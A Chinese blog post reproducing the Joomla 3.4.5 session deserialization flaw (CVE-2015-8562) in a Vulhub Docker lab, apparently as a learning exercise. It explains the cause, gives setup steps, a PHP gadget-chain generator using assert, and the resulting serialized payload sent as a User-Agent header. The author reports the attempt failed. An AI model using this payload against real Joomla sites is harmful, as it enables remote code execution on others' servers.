利用Vulnhub复现漏洞 - Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)
2019-07-11 18:01
901 查看
Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)
Vulnhub官方复现教程
https://vulhub.org/#/environments/joomla/CVE-2015-8562/
漏洞原理
本漏洞根源是PHP5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。
通过Joomla中的Gadget,可造成任意代码执行的结果。
详情可参考:
影响版本
- Joomla 1.5.x, 2.x, and 3.x before 3.4.6
- PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45
复现过程
启动环境
https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为
cd /root/vulhub/joomla/CVE-2015-8562
搭建及运行漏洞环境:
docker-compose build && docker-compose up -d
用时:3分钟
环境启动后,访问
http://your-ip:8080即可看到Joomla的安装界面,当前环境的数据库信息为:
- 数据库地址:mysql:3306
- 用户:root
- 密码:root
- 数据库名:joomla
填入上述信息,正常安装即可。
记得删除
安装目录
漏洞复现
去掉User-Agent头,先访问一次目标主页,记下服务端返回的Cookie:
GET / HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en Connection: close Upgrade-Insecure-Requests: 1
再用如下脚本生成POC:(在线运行)
<?php class JSimplepieFactory { } class JDatabaseDriverMysql { } class SimplePie { var $sanitize; var $cache; var $cache_name_function; var $javascript; var $feed_url; function __construct() { $this->feed_url = "phpinfo();JFactory::getConfig();exit;"; $this->javascript = 9999; $this->cache_name_function = "assert"; $this->sanitize = new JDatabaseDriverMysql(); $this->cache = true; } } class JDatabaseDriverMysqli { protected $a; protected $disconnectHandlers; protected $connection; function __construct() { $this->a = new JSimplepieFactory(); $x = new SimplePie(); $this->connection = 1; $this->disconnectHandlers = [ [$x, "init"], ]; } } $a = new JDatabaseDriverMysqli(); $poc = serialize($a); $poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc); echo "123}__test|{$poc}\xF0\x9D\x8C\x86";
将生成好的POC作为User-Agent,带上第一步获取的Cookie发包,这一次发包,脏数据进入Mysql数据库。
成功情况
然后同样的包再发一次,代码被执行:
并未成功
可能是cookie的问题?cookie从要复制到
;,但是也没用
POC应该是没问题?会不会是复制的时候,因为编码的问题就不能用了?
或者是PHP版本问题?我
php -v的版本不是
PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45的
POC
123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}𝌆
相关文章推荐
- 利用Vulnhub复现漏洞 - Joomla 3.7.0 (CVE-2017-8917) SQL注入漏洞环境
- 利用Vulnhub复现漏洞 - libssh 服务端权限认证绕过漏洞(CVE-2018-10933)
- 利用Vulnhub复现漏洞 - mini_httpd任意文件读取漏洞(CVE-2018-18778)
- 利用Vulnhub复现漏洞 - Mysql 身份认证绕过漏洞(CVE-2012-2122)
- 利用Vulnhub复现漏洞 - Nginx越界读取缓存漏洞(CVE-2017-7529)
- 利用Vulnhub复现漏洞 - Couchdb 垂直权限绕过漏洞(CVE-2017-12635)
- 利用Vulnhub复现漏洞 - Nexus Repository Manager 3 远程命令执行漏洞(CVE-2019-7238)
- 利用Vulnhub复现漏洞 - Nginx 文件名逻辑漏洞(CVE-2013-4547)
- 利用Vulnhub复现漏洞 - Magento 2.2 SQL注入漏洞
- CVE-2015-7857 Joomla注入漏洞利用工具(Python)
- CVE-2015-7857 Joomla注入漏洞利用工具(Python)
- 利用Vulnhub复现漏洞 - Jupyter Notebook 未授权访问漏洞
- PHP DOS漏洞的新利用:CVE-2015-4024 Reviewed
- CVE-2015-7547漏洞分析从原因到利用到补丁(非常适合小白)【转】
- CVE-2015-4852 java 反序列化漏洞--weblogic补丁
- Joomla反序列化通杀漏洞(版本低于3.4.5)复现的那些坑
- 从0到TrustZone(第二篇): QSEE提权漏洞及利用(CVE-2015-6639)
- Joomla反序列化通杀漏洞(版本低于3.4.5)复现的那些坑
- Weblogic 'wls-wsat' XMLDecoder 反序列化_CVE-2017-10271漏洞复现
- CVE-2015-7547漏洞分析从原因到利用到补丁(非常适合小白)